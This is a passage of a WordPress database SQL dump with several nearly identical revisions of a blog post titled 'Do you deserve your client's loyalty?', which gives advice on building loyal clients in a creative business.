(579, 2, '2009-08-09 12:36:55', '2009-08-09 19:36:55', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif"><img class="alignnone size-full wp-image-578" title="loyalty" src="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif" alt="loyalty" width="450" height="329" /></a>\n<h2><span style="color: #ff6600;">The best way to competition-proof your creative business is to create loyal clients. Loyal clients are the ones who believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else.  The marketplace will reward those who earn and deserve, never because they desire or need.  Do you <em>deserve</em> your client’s loyalty?</span></h2>\nThe word “deserve” comes from the latin “de serve” which simply means <em>to serve</em>. You only deserve any result you desire from your client when you are serving them with commitment to <em>create more value for them</em> then you are receiving <em>in cash from them</em>. Think about this.  This is an important principle in creating raving loyal clients. This does not mean that you work for less money. On the contrary, it means that whatever the amount of money you are paid, you always provide more “use value” than the cash value received.\n\nIf you’re in a creative business selling your talent, knowledge, and expertise you might ask yourself, do I deserve the fees I charge? Am I fee-worthy?  Do my clients perceive my value to them as greater than the money they are paying me?  Providing deliverables aligned to your client’s expectation is not enough to deserve their on-going loyalty. All your competitors can provide acceptable deliverables.  Doing what is expected is not enough to differentiate you from the other alternatives available to your client. You can provide more. Here are several suggested ideas for you to think about:\n\n<strong>Loyalty in client relationships is never static.</strong>\n\nThink of creating loyalty the same way you would think of physical exercise.  The more your focus is on finding ways to serve your clients the stronger the relationship will be. It’s an on-going process. Nothing strengthens without effort. Stop exercising and things eventually will begin to go downhill fast. Everyone has heard the expression “familiarity breeds contempt”.  This basically means the longer a relationship exists, the more things begin to be taken for granted. The more a client feels you are in “relationship entitlement mode”, the more open to options they will become.  Let that not be you!\n\n<strong>It’s all about them–never you.</strong>\n\nIt’s easy to get caught up in the method, details and minutia of doing the work you’re hired to do. It’s even easier to let your thinking go somewhere in the direction of “they can’t get this kind of quality, price or  delivery from anyone else. We’re doing a big favor working for them”.  Obviously that kind of shortsightedness will never create a loyal client who will sing your praises to others.  To deserve loyal clients, your focus will always be on your client’s desire, never yours.  If you take care of creating value for your clients, your value to them increases accordingly. Do the unexpected, go the extra mile!  Do this with grace and humility. You’re in business to create success for others first. Everything after that will take care of itself.\n\n<strong>Be trustworthy.</strong>\n\nThis may sound like an over simplification, however when a client shares something of a personal nature with you, they are essentially saying “I trust you”.  In order for trust to be deserved, you must first demonstrate your sensitivity to the “moments of truth” when your client shares something of personal importance. Your best client relationships, the ones that are of greatest value to the growth of your business, are the ones where you are trusted.  Respond with your thoughtful consideration and respect. Over time, you are building your relationship chemistry– the core elements that comprise the essence of how valuable you are to them, and their loyalty to you. It begins with trust.\n\n<strong>Be everything to a few people.</strong>\n\nNot all your clients will be of the kind where loyalty can grow. Some client relationships are transactional. You really can’t be all things to all clients, it’s absurd to even try. You must be selective by cultivating deeper relationships with those clients who empower you, respect your contributions, and refer you to others in their circle of influence.\n\nTake some time to think about the factors that have comprised your most successful client relationships. When you have defined those attributes, look into your current list of clients. How many are fulfilling that criteria right now?  If there are clients who are no longer a good fit, respectfully disassociate from them. Establish the “rules of engagement” for your new clients early in the game. This creates immediate respect not only from clients, but for yourself. After all, if you don’t demonstrate a respectful value for yourself, why should anyone else?\n\n<strong>Scarcity creates abundance. </strong>\n\nAs you continually evolve and grow in your business, you will no doubt be reminded of one of the fundamental principles in economics–supply and demand.  The supply is your “availability”. Clients  provide the “demand” by requesting your expertise. Your supply of time is finite. Excess demand creates competition among your clients for your time. By limiting your availability (supply) you are in effect creating more demand for your time and perceived value.  In doing this, you differentiate between clients who deserve more of your time and the ones who want it. People typically want more of what they can’t have.  Say no to those clients who demand more of your time than they contribute to your growth. By employing the scarcity principle you create more supply and increase demand from more empowering and deserving clients.\n\nAs you can see there is great deal of difference between deserving success and desiring it. You can only get your business to the next level when you develop the conscious mental habits that vibrate to the universe that you are enlightened and ready to receive the loyal clients you inherently deserve. You can take the first step.\n\n<strong>What are you doing right now that is creating the loyal clients you deserve? </strong>\n\nPlease share your thoughts in the comments box below.', 'DO you deserve your client''s loyalty?', 0, '', 'inherit', 'open', 'open', '', '577-revision', '', '', '2009-08-09 12:36:55', '2009-08-09 19:36:55', '', 577, 'http://www.whitehotcenter.com/2009/08/09/577-revision/', 0, 'revision', '', 0),
(580, 2, '2009-08-09 12:41:09', '2009-08-09 19:41:09', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif"><img class="alignnone size-full wp-image-578" title="loyalty" src="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif" alt="loyalty" width="450" height="329" /></a>\r\n<h2><span style="color: #ff6600;">The best way to competition-proof your creative business is to create loyal clients. Loyal clients are the ones who believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else.  The marketplace will reward those who earn and deserve, never because they desire or need.  Do you <em>deserve</em> your client’s loyalty?</span></h2>\r\nThe word “deserve” comes from the latin “de serve” which simply means <em>to serve</em>. You only deserve any result you desire from your client when you are serving them with commitment to <em>create more value for them</em> then you are receiving <em>in cash from them</em>. Think about this.  This is an important principle in creating raving loyal clients. This does not mean that you work for less money. On the contrary, it means that whatever the amount of money you are paid, you always provide more “use value” than the cash value received.\r\n\r\nIf you’re in a creative business selling your talent, knowledge, and expertise you might ask yourself, do I deserve the fees I charge? Am I fee-worthy?  Do my clients perceive my value to them as greater than the money they are paying me?  Providing deliverables aligned to your client’s expectation is not enough to deserve their on-going loyalty. All your competitors can provide acceptable deliverables.  Doing what is expected is not enough to differentiate you from the other alternatives available to your client. You can provide more. Here are several suggested ideas for you to think about:\r\n\r\n<strong>Loyalty in client relationships is never static.</strong>\r\n\r\nThink of creating loyalty the same way you would think of physical exercise.  The more your focus is on finding ways to serve your clients the stronger the relationship will be. It’s an on-going process. Nothing strengthens without effort. Stop exercising and things eventually will begin to go downhill fast. Everyone has heard the expression “familiarity breeds contempt”.  This basically means the longer a relationship exists, the more things begin to be taken for granted. The more a client feels you are in “relationship entitlement mode”, the more open to options they will become.  Let that not be you!\r\n\r\n<strong>It’s all about them–never you.</strong>\r\n\r\nIt’s easy to get caught up in the method, details and minutia of doing the work you’re hired to do. It’s even easier to let your thinking go somewhere in the direction of “they can’t get this kind of quality, price or  delivery from anyone else. We’re doing a big favor working for them”.  Obviously that kind of shortsightedness will never create a loyal client who will sing your praises to others.  To deserve loyal clients, your focus will always be on your client’s desire, never yours.  If you take care of creating value for your clients, your value to them increases accordingly. Do the unexpected, go the extra mile!  Do this with grace and humility. You’re in business to create success for others first. Everything after that will take care of itself.\r\n\r\n<strong>Be trustworthy.</strong>\r\n\r\nThis may sound like an over simplification, however when a client shares something of a personal nature with you, they are essentially saying “I trust you”.  In order for trust to be deserved, you must first demonstrate your sensitivity to the “moments of truth” when your client shares something of personal importance. Your best client relationships, the ones that are of greatest value to the growth of your business, are the ones where you are trusted.  Respond with your thoughtful consideration and respect. Over time, you are building your relationship chemistry– the core elements that comprise the essence of how valuable you are to them, and their loyalty to you. It begins with trust.\r\n\r\n<strong>Be everything to a few people.</strong>\r\n\r\nNot all your clients will be of the kind where loyalty can grow. Some client relationships are transactional. You really can’t be all things to all clients, it’s absurd to even try. You must be selective by cultivating deeper relationships with those clients who empower you, respect your contributions, and refer you to others in their circle of influence.\r\n\r\nTake some time to think about the factors that have comprised your most successful client relationships. When you have defined those attributes, look into your current list of clients. How many are fulfilling that criteria right now?  If there are clients who are no longer a good fit, respectfully disassociate from them. Establish the “rules of engagement” for your new clients early in the game. This creates immediate respect not only from clients, but for yourself. After all, if you don’t demonstrate a respectful value for yourself, why should anyone else?\r\n\r\n<strong>Scarcity creates abundance. </strong>\r\n\r\nAs you continually evolve and grow in your business, you will no doubt be reminded of one of the fundamental principles in economics–supply and demand.  The supply is your “availability”. Clients  provide the “demand” by requesting your expertise. Your supply of time is finite. Excess demand creates competition among your clients for your time. By limiting your availability (supply) you are in effect creating more demand for your time and perceived value.  In doing this, you differentiate between clients who deserve more of your time and the ones who want it. People typically want more of what they can’t have.  Say no to those clients who demand more of your time than they contribute to your growth. By employing the scarcity principle you create more supply and increase demand from more empowering and deserving clients.\r\n\r\nAs you can see there is great deal of difference between deserving success and desiring it. You can only get your business to the next level when you develop the conscious mental habits that vibrate to the universe that you are enlightened and ready to receive the loyal clients you inherently deserve. You can take the first step.\r\n\r\n<strong>What are you doing right now that is creating the loyal clients you deserve? </strong>\r\n\r\nPlease share your thoughts in the comments box below.', 'DO you deserve your client''s loyalty?', 0, '', 'inherit', 'open', 'open', '', '577-revision-2', '', '', '2009-08-09 12:41:09', '2009-08-09 19:41:09', '', 577, 'http://www.whitehotcenter.com/2009/08/09/577-revision-2/', 0, 'revision', '', 0),
(581, 2, '2010-07-15 08:16:35', '2010-07-15 15:16:35', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif"><img class="alignnone size-full wp-image-578" title="loyalty" src="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif" alt="loyalty" width="450" height="329" /></a><span style="color: #ff6600;">The best way to competition-proof your creative business is to create loyal clients. Loyal clients are the ones who believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else.  The marketplace will reward those who earn and deserve, never because they desire or need.  Do you <em>deserve</em> your client’s loyalty?</span></h2>\nThe word “deserve” comes from the latin “de serve” which simply means <em>to serve</em>. You only deserve any result you desire from your client when you are serving them with commitment to <em>create more value for them</em> then you are receiving <em>in cash from them</em>. Think about this.  This is an important principle in creating raving loyal clients. This does not mean that you work for less money. On the contrary, it means that whatever the amount of money you are paid, you always provide more “use value” than the cash value received.\n\nIf you’re in a creative business selling your talent, knowledge, and expertise you might ask yourself, do I deserve the fees I charge? Am I fee-worthy?  Do my clients perceive my value to them as greater than the money they are paying me?  Providing deliverables aligned to your client’s expectation is not enough to deserve their on-going loyalty. All your competitors can provide acceptable deliverables.  Doing what is expected is not enough to differentiate you from the other alternatives available to your client. You can provide more. Here are several suggested ideas for you to think about:\n\n<strong>Loyalty in client relationships is never static.</strong>\n\nThink of creating loyalty the same way you would think of physical exercise.  The more your focus is on finding ways to serve your clients the stronger the relationship will be. It’s an on-going process. Nothing strengthens without effort. Stop exercising and things eventually will begin to go downhill fast. Everyone has heard the expression “familiarity breeds contempt”.  This basically means the longer a relationship exists, the more things begin to be taken for granted. The more a client feels you are in “relationship entitlement mode”, the more open to options they will become.  Let that not be you!\n\n<strong>It’s all about them–never you.</strong>\n\nIt’s easy to get caught up in the method, details and minutia of doing the work you’re hired to do. It’s even easier to let your thinking go somewhere in the direction of “they can’t get this kind of quality, price or  delivery from anyone else. We’re doing a big favor working for them”.  Obviously that kind of shortsightedness will never create a loyal client who will sing your praises to others.  To deserve loyal clients, your focus will always be on your client’s desire, never yours.  If you take care of creating value for your clients, your value to them increases accordingly. Do the unexpected, go the extra mile!  Do this with grace and humility. You’re in business to create success for others first. Everything after that will take care of itself.\n\n<strong>Be trustworthy.</strong>\n\nThis may sound like an over simplification, however when a client shares something of a personal nature with you, they are essentially saying “I trust you”.  In order for trust to be deserved, demonstrate your sensitivity to “moments of truth” when your client shares something of personal importance. Your best client relationships, the ones that are of greatest value to the growth of your business, are the ones where you are trusted.  Respond with your thoughtful consideration and respect. Over time, you are building your relationship chemistry– the core elements that comprise the essence of how valuable you are to them, and their loyalty to you. It begins with trust.\n\n<strong>Be everything to a few people.</strong>\n\nNot all your clients will be of the kind where loyalty can grow. Some client relationships are transactional. You really can’t be all things to all clients, it’s absurd to even try. Be selective by cultivating deeper relationships with those clients who empower you, respect your contributions, and refer you to others in their circle of influence.\n\nTake some time to think about the factors that have comprised your most successful client relationships. When you have defined those attributes, look into your current list of clients. How many are fulfilling that criteria right now?  If there are clients who are no longer a good fit, respectfully disassociate from them. Establish the “rules of engagement” for your new clients early in the game. This creates immediate respect not only from clients, but for yourself. After all, if you don’t demonstrate a respectful value for yourself, why should anyone else?\n\n<strong>Scarcity creates abundance. </strong>\n\nAs you continually evolve and grow in your business, you will no doubt be reminded of one of the fundamental principles in economics–supply and demand.  The supply is your “availability”. Clients  provide the “demand” by requesting your expertise. Your supply of time is finite. Excess demand creates competition among your clients for your time. By limiting your availability (supply) you are in effect creating more demand for your time and perceived value.  In doing this, you differentiate between clients who deserve more of your time and the ones who want it. People typically want more of what they can’t have.  Say no to those clients who demand more of your time than they contribute to your growth. By employing the scarcity principle you create more supply and increase demand from more empowering and deserving clients.\n\nAs you can see there is great deal of difference between deserving success and desiring it. You can only get your business to the next level when you develop the conscious mental habits that vibrate to the universe that you are enlightened and ready to receive the loyal clients you inherently deserve. You can take the first step.\n\n<strong>What are you doing right now that is creating the loyal clients you deserve? </strong>\n\nPlease share your thoughts in the comments box below.', 'Do you deserve your client''s loyalty?', 0, '', 'inherit', 'open', 'open', '', '577-autosave', '', '', '2010-07-15 08:16:35', '2010-07-15 15:16:35', '', 577, 'http://www.whitehotcenter.com/2009/08/09/577-autosave/', 0, 'revision', '', 0),
(582, 2, '2009-08-09 12:41:58', '2009-08-09 19:41:58', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif"><img class="alignnone size-full wp-image-578" title="loyalty" src="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif" alt="loyalty" width="450" height="329" /></a>\r\n<h2><span style="color: #ff6600;">The best way to competition-proof your creative business is to create loyal clients. Loyal clients are the ones who believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else.  The marketplace will reward those who earn and deserve, never because they desire or need.  Do you <em>deserve</em> your client’s loyalty?</span></h2>\r\nThe word “deserve” comes from the latin “de serve” which simply means <em>to serve</em>. You only deserve any result you desire from your client when you are serving them with commitment to <em>create more value for them</em> then you are receiving <em>in cash from them</em>. Think about this.  This is an important principle in creating raving loyal clients. This does not mean that you work for less money. On the contrary, it means that whatever the amount of money you are paid, you always provide more “use value” than the cash value received.\r\n\r\nIf you’re in a creative business selling your talent, knowledge, and expertise you might ask yourself, do I deserve the fees I charge? Am I fee-worthy?  Do my clients perceive my value to them as greater than the money they are paying me?  Providing deliverables aligned to your client’s expectation is not enough to deserve their on-going loyalty. All your competitors can provide acceptable deliverables.  Doing what is expected is not enough to differentiate you from the other alternatives available to your client. You can provide more. Here are several suggested ideas for you to think about:\r\n\r\n<strong>Loyalty in client relationships is never static.</strong>\r\n\r\nThink of creating loyalty the same way you would think of physical exercise.  The more your focus is on finding ways to serve your clients the stronger the relationship will be. It’s an on-going process. Nothing strengthens without effort. Stop exercising and things eventually will begin to go downhill fast. Everyone has heard the expression “familiarity breeds contempt”.  This basically means the longer a relationship exists, the more things begin to be taken for granted. The more a client feels you are in “relationship entitlement mode”, the more open to options they will become.  Let that not be you!\r\n\r\n<strong>It’s all about them–never you.</strong>\r\n\r\nIt’s easy to get caught up in the method, details and minutia of doing the work you’re hired to do. It’s even easier to let your thinking go somewhere in the direction of “they can’t get this kind of quality, price or  delivery from anyone else. We’re doing a big favor working for them”.  Obviously that kind of shortsightedness will never create a loyal client who will sing your praises to others.  To deserve loyal clients, your focus will always be on your client’s desire, never yours.  If you take care of creating value for your clients, your value to them increases accordingly. Do the unexpected, go the extra mile!  Do this with grace and humility. You’re in business to create success for others first. Everything after that will take care of itself.\r\n\r\n<strong>Be trustworthy.</strong>\r\n\r\nThis may sound like an over simplification, however when a client shares something of a personal nature with you, they are essentially saying “I trust you”.  In order for trust to be deserved, you must first demonstrate your sensitivity to the “moments of truth” when your client shares something of personal importance. Your best client relationships, the ones that are of greatest value to the growth of your business, are the ones where you are trusted.  Respond with your thoughtful consideration and respect. Over time, you are building your relationship chemistry– the core elements that comprise the essence of how valuable you are to them, and their loyalty to you. It begins with trust.\r\n\r\n<strong>Be everything to a few people.</strong>\r\n\r\nNot all your clients will be of the kind where loyalty can grow. Some client relationships are transactional. You really can’t be all things to all clients, it’s absurd to even try. You must be selective by cultivating deeper relationships with those clients who empower you, respect your contributions, and refer you to others in their circle of influence.\r\n\r\nTake some time to think about the factors that have comprised your most successful client relationships. When you have defined those attributes, look into your current list of clients. How many are fulfilling that criteria right now?  If there are clients who are no longer a good fit, respectfully disassociate from them. Establish the “rules of engagement” for your new clients early in the game. This creates immediate respect not only from clients, but for yourself. After all, if you don’t demonstrate a respectful value for yourself, why should anyone else?\r\n\r\n<strong>Scarcity creates abundance. </strong>\r\n\r\nAs you continually evolve and grow in your business, you will no doubt be reminded of one of the fundamental principles in economics–supply and demand.  The supply is your “availability”. Clients  provide the “demand” by requesting your expertise. Your supply of time is finite. Excess demand creates competition among your clients for your time. By limiting your availability (supply) you are in effect creating more demand for your time and perceived value.  In doing this, you differentiate between clients who deserve more of your time and the ones who want it. People typically want more of what they can’t have.  Say no to those clients who demand more of your time than they contribute to your growth. By employing the scarcity principle you create more supply and increase demand from more empowering and deserving clients.\r\n\r\nAs you can see there is great deal of difference between deserving success and desiring it. You can only get your business to the next level when you develop the conscious mental habits that vibrate to the universe that you are enlightened and ready to receive the loyal clients you inherently deserve. You can take the first step.\r\n\r\n<strong>What are you doing right now that is creating the loyal clients you deserve? </strong>\r\n\r\nPlease share your thoughts in the comments box below.', 'Do you deserve your client''s loyalty?', 0, '', 'inherit', 'open', 'open', '', '577-revision-3', '', '', '2009-08-09 12:41:58', '2009-08-09 19:41:58', '', 577, 'http://www.whitehotcenter.com/2009/08/09/577-revision-3/', 0, 'revision', '', 0);
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(583, 2, '2009-08-09 12:42:44', '2009-08-09 19:42:44', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif"><img class="alignnone size-full wp-image-578" title="loyalty" src="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif" alt="loyalty" width="450" height="329" /></a>\r\n<h2><span style="color: #ff6600;">The best way to competition-proof your creative business is to create loyal clients. Loyal clients are the ones who believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else.  The marketplace will reward those who earn and deserve, never because they desire or need.  Do you <em>deserve</em> your client’s loyalty?</span></h2>\r\nThe word “deserve” comes from the latin “de serve” which simply means <em>to serve</em>. You only deserve any result you desire from your client when you are serving them with commitment to <em>create more value for them</em> then you are receiving <em>in cash from them</em>. Think about this.  This is an important principle in creating raving loyal clients. This does not mean that you work for less money. On the contrary, it means that whatever the amount of money you are paid, you always provide more “use value” than the cash value received.\r\n\r\nIf you’re in a creative business selling your talent, knowledge, and expertise you might ask yourself, do I deserve the fees I charge? Am I fee-worthy?  Do my clients perceive my value to them as greater than the money they are paying me?  Providing deliverables aligned to your client’s expectation is not enough to deserve their on-going loyalty. All your competitors can provide acceptable deliverables.  Doing what is expected is not enough to differentiate you from the other alternatives available to your client. You can provide more. Here are several suggested ideas for you to think about:\r\n\r\n<strong>Loyalty in client relationships is never static.</strong>\r\n\r\nThink of creating loyalty the same way you would think of physical exercise.  The more your focus is on finding ways to serve your clients the stronger the relationship will be. It’s an on-going process. Nothing strengthens without effort. Stop exercising and things eventually will begin to go downhill fast. Everyone has heard the expression “familiarity breeds contempt”.  This basically means the longer a relationship exists, the more things begin to be taken for granted. The more a client feels you are in “relationship entitlement mode”, the more open to options they will become.  Let that not be you!\r\n\r\n<strong>It’s all about them–never you.</strong>\r\n\r\nIt’s easy to get caught up in the method, details and minutia of doing the work you’re hired to do. It’s even easier to let your thinking go somewhere in the direction of “they can’t get this kind of quality, price or  delivery from anyone else. We’re doing a big favor working for them”.  Obviously that kind of shortsightedness will never create a loyal client who will sing your praises to others.  To deserve loyal clients, your focus will always be on your client’s desire, never yours.  If you take care of creating value for your clients, your value to them increases accordingly. Do the unexpected, go the extra mile!  Do this with grace and humility. You’re in business to create success for others first. Everything after that will take care of itself.\r\n\r\n<strong>Be trustworthy.</strong>\r\n\r\nThis may sound like an over simplification, however when a client shares something of a personal nature with you, they are essentially saying “I trust you”.  In order for trust to be deserved, you must first demonstrate your sensitivity to the “moments of truth” when your client shares something of personal importance. Your best client relationships, the ones that are of greatest value to the growth of your business, are the ones where you are trusted.  Respond with your thoughtful consideration and respect. Over time, you are building your relationship chemistry– the core elements that comprise the essence of how valuable you are to them, and their loyalty to you. It begins with trust.\r\n\r\n<strong>Be everything to a few people.</strong>\r\n\r\nNot all your clients will be of the kind where loyalty can grow. Some client relationships are transactional. You really can’t be all things to all clients, it’s absurd to even try. You must be selective by cultivating deeper relationships with those clients who empower you, respect your contributions, and refer you to others in their circle of influence.\r\n\r\nTake some time to think about the factors that have comprised your most successful client relationships. When you have defined those attributes, look into your current list of clients. How many are fulfilling that criteria right now?  If there are clients who are no longer a good fit, respectfully disassociate from them. Establish the “rules of engagement” for your new clients early in the game. This creates immediate respect not only from clients, but for yourself. After all, if you don’t demonstrate a respectful value for yourself, why should anyone else?\r\n\r\n<strong>Scarcity creates abundance. </strong>\r\n\r\nAs you continually evolve and grow in your business, you will no doubt be reminded of one of the fundamental principles in economics–supply and demand.  The supply is your “availability”. Clients  provide the “demand” by requesting your expertise. Your supply of time is finite. Excess demand creates competition among your clients for your time. By limiting your availability (supply) you are in effect creating more demand for your time and perceived value.  In doing this, you differentiate between clients who deserve more of your time and the ones who want it. People typically want more of what they can’t have.  Say no to those clients who demand more of your time than they contribute to your growth. By employing the scarcity principle you create more supply and increase demand from more empowering and deserving clients.\r\n\r\nAs you can see there is great deal of difference between deserving success and desiring it. You can only get your business to the next level when you develop the conscious mental habits that vibrate to the universe that you are enlightened and ready to receive the loyal clients you inherently deserve. You can take the first step.\r\n\r\n<strong>What are you doing right now that is creating the loyal clients you deserve? </strong>\r\n\r\nPlease share your thoughts in the comments box below.', 'Do you deserve your client''s loyalty?', 0, '', 'inherit', 'open', 'open', '', '577-revision-4', '', '', '2009-08-09 12:42:44', '2009-08-09 19:42:44', '', 577, 'http://www.whitehotcenter.com/2009/08/09/577-revision-4/', 0, 'revision', '', 0),
(584, 2, '2009-08-09 12:50:25', '2009-08-09 19:50:25', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif"><img class="alignnone size-full wp-image-578" title="loyalty" src="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif" alt="loyalty" width="450" height="329" /></a>\r\n<h2><span style="color: #ff6600;">The best way to competition-proof your creative business is to create loyal clients. Loyal clients are the ones who believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else.  The marketplace will reward those who earn and deserve, never because they desire or need.  Do you <em>deserve</em> your client’s loyalty?</span></h2>\r\nThe word “deserve” comes from the latin “de serve” which simply means <em>to serve</em>. You only deserve any result you desire from your client when you are serving them with commitment to <em>create more value for them</em> then you are receiving <em>in cash from them</em>. Think about this.  This is an important principle in creating raving loyal clients. This does not mean that you work for less money. On the contrary, it means that whatever the amount of money you are paid, you always provide more “use value” than the cash value received.\r\n\r\nIf you’re in a creative business selling your talent, knowledge, and expertise you might ask yourself, do I deserve the fees I charge? Am I fee-worthy?  Do my clients perceive my value to them as greater than the money they are paying me?  Providing deliverables aligned to your client’s expectation is not enough to deserve their on-going loyalty. All your competitors can provide acceptable deliverables.  Doing what is expected is not enough to differentiate you from the other alternatives available to your client. You can provide more. Here are several suggested ideas for you to think about:\r\n\r\n<strong>Loyalty in client relationships is never static.</strong>\r\n\r\nThink of creating loyalty the same way you would think of physical exercise.  The more your focus is on finding ways to serve your clients the stronger the relationship will be. It’s an on-going process. Nothing strengthens without effort. Stop exercising and things eventually will begin to go downhill fast. Everyone has heard the expression “familiarity breeds contempt”.  This basically means the longer a relationship exists, the more things begin to be taken for granted. The more a client feels you are in “relationship entitlement mode”, the more open to options they will become.  Let that not be you!\r\n\r\n<strong>It’s all about them–never you.</strong>\r\n\r\nIt’s easy to get caught up in the method, details and minutia of doing the work you’re hired to do. It’s even easier to let your thinking go somewhere in the direction of “they can’t get this kind of quality, price or  delivery from anyone else. We’re doing a big favor working for them”.  Obviously that kind of shortsightedness will never create a loyal client who will sing your praises to others.  To deserve loyal clients, your focus will always be on your client’s desire, never yours.  If you take care of creating value for your clients, your value to them increases accordingly. Do the unexpected, go the extra mile!  Do this with grace and humility. You’re in business to create success for others first. Everything after that will take care of itself.\r\n\r\n<strong>Be trustworthy.</strong>\r\n\r\nThis may sound like an over simplification, however when a client shares something of a personal nature with you, they are essentially saying “I trust you”.  In order for trust to be deserved, you must first demonstrate your sensitivity to the “moments of truth” when your client shares something of personal importance. Your best client relationships, the ones that are of greatest value to the growth of your business, are the ones where you are trusted.  Respond with your thoughtful consideration and respect. Over time, you are building your relationship chemistry– the core elements that comprise the essence of how valuable you are to them, and their loyalty to you. It begins with trust.\r\n\r\n<strong>Be everything to a few people.</strong>\r\n\r\nNot all your clients will be of the kind where loyalty can grow. Some client relationships are transactional. You really can’t be all things to all clients, it’s absurd to even try. Be selective by cultivating deeper relationships with those clients who empower you, respect your contributions, and refer you to others in their circle of influence.\r\n\r\nTake some time to think about the factors that have comprised your most successful client relationships. When you have defined those attributes, look into your current list of clients. How many are fulfilling that criteria right now?  If there are clients who are no longer a good fit, respectfully disassociate from them. Establish the “rules of engagement” for your new clients early in the game. This creates immediate respect not only from clients, but for yourself. After all, if you don’t demonstrate a respectful value for yourself, why should anyone else?\r\n\r\n<strong>Scarcity creates abundance. </strong>\r\n\r\nAs you continually evolve and grow in your business, you will no doubt be reminded of one of the fundamental principles in economics–supply and demand.  The supply is your “availability”. Clients  provide the “demand” by requesting your expertise. Your supply of time is finite. Excess demand creates competition among your clients for your time. By limiting your availability (supply) you are in effect creating more demand for your time and perceived value.  In doing this, you differentiate between clients who deserve more of your time and the ones who want it. People typically want more of what they can’t have.  Say no to those clients who demand more of your time than they contribute to your growth. By employing the scarcity principle you create more supply and increase demand from more empowering and deserving clients.\r\n\r\nAs you can see there is great deal of difference between deserving success and desiring it. You can only get your business to the next level when you develop the conscious mental habits that vibrate to the universe that you are enlightened and ready to receive the loyal clients you inherently deserve. You can take the first step.\r\n\r\n<strong>What are you doing right now that is creating the loyal clients you deserve? </strong>\r\n\r\nPlease share your thoughts in the comments box below.', 'Do you deserve your client''s loyalty?', 0, '', 'inherit', 'open', 'open', '', '577-revision-5', '', '', '2009-08-09 12:50:25', '2009-08-09 19:50:25', '', 577, 'http://www.whitehotcenter.com/2009/08/09/577-revision-5/', 0, 'revision', '', 0),
(585, 2, '2009-08-09 12:52:57', '2009-08-09 19:52:57', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif"><img class="alignnone size-full wp-image-578" title="loyalty" src="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif" alt="loyalty" width="450" height="329" /></a><span style="color: #ff6600;">The best way to competition-proof your creative business is to create loyal clients. Loyal clients are the ones who believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else.  The marketplace will reward those who earn and deserve, never because they desire or need.  Do you <em>deserve</em> your client’s loyalty?</span></h2>\r\nThe word “deserve” comes from the latin “de serve” which simply means <em>to serve</em>. You only deserve any result you desire from your client when you are serving them with commitment to <em>create more value for them</em> then you are receiving <em>in cash from them</em>. Think about this.  This is an important principle in creating raving loyal clients. This does not mean that you work for less money. On the contrary, it means that whatever the amount of money you are paid, you always provide more “use value” than the cash value received.\r\n\r\nIf you’re in a creative business selling your talent, knowledge, and expertise you might ask yourself, do I deserve the fees I charge? Am I fee-worthy?  Do my clients perceive my value to them as greater than the money they are paying me?  Providing deliverables aligned to your client’s expectation is not enough to deserve their on-going loyalty. All your competitors can provide acceptable deliverables.  Doing what is expected is not enough to differentiate you from the other alternatives available to your client. You can provide more. Here are several suggested ideas for you to think about:\r\n\r\n<strong>Loyalty in client relationships is never static.</strong>\r\n\r\nThink of creating loyalty the same way you would think of physical exercise.  The more your focus is on finding ways to serve your clients the stronger the relationship will be. It’s an on-going process. Nothing strengthens without effort. Stop exercising and things eventually will begin to go downhill fast. Everyone has heard the expression “familiarity breeds contempt”.  This basically means the longer a relationship exists, the more things begin to be taken for granted. The more a client feels you are in “relationship entitlement mode”, the more open to options they will become.  Let that not be you!\r\n\r\n<strong>It’s all about them–never you.</strong>\r\n\r\nIt’s easy to get caught up in the method, details and minutia of doing the work you’re hired to do. It’s even easier to let your thinking go somewhere in the direction of “they can’t get this kind of quality, price or  delivery from anyone else. We’re doing a big favor working for them”.  Obviously that kind of shortsightedness will never create a loyal client who will sing your praises to others.  To deserve loyal clients, your focus will always be on your client’s desire, never yours.  If you take care of creating value for your clients, your value to them increases accordingly. Do the unexpected, go the extra mile!  Do this with grace and humility. You’re in business to create success for others first. Everything after that will take care of itself.\r\n\r\n<strong>Be trustworthy.</strong>\r\n\r\nThis may sound like an over simplification, however when a client shares something of a personal nature with you, they are essentially saying “I trust you”.  In order for trust to be deserved, you must first demonstrate your sensitivity to the “moments of truth” when your client shares something of personal importance. Your best client relationships, the ones that are of greatest value to the growth of your business, are the ones where you are trusted.  Respond with your thoughtful consideration and respect. Over time, you are building your relationship chemistry– the core elements that comprise the essence of how valuable you are to them, and their loyalty to you. It begins with trust.\r\n\r\n<strong>Be everything to a few people.</strong>\r\n\r\nNot all your clients will be of the kind where loyalty can grow. Some client relationships are transactional. You really can’t be all things to all clients, it’s absurd to even try. Be selective by cultivating deeper relationships with those clients who empower you, respect your contributions, and refer you to others in their circle of influence.\r\n\r\nTake some time to think about the factors that have comprised your most successful client relationships. When you have defined those attributes, look into your current list of clients. How many are fulfilling that criteria right now?  If there are clients who are no longer a good fit, respectfully disassociate from them. Establish the “rules of engagement” for your new clients early in the game. This creates immediate respect not only from clients, but for yourself. After all, if you don’t demonstrate a respectful value for yourself, why should anyone else?\r\n\r\n<strong>Scarcity creates abundance. </strong>\r\n\r\nAs you continually evolve and grow in your business, you will no doubt be reminded of one of the fundamental principles in economics–supply and demand.  The supply is your 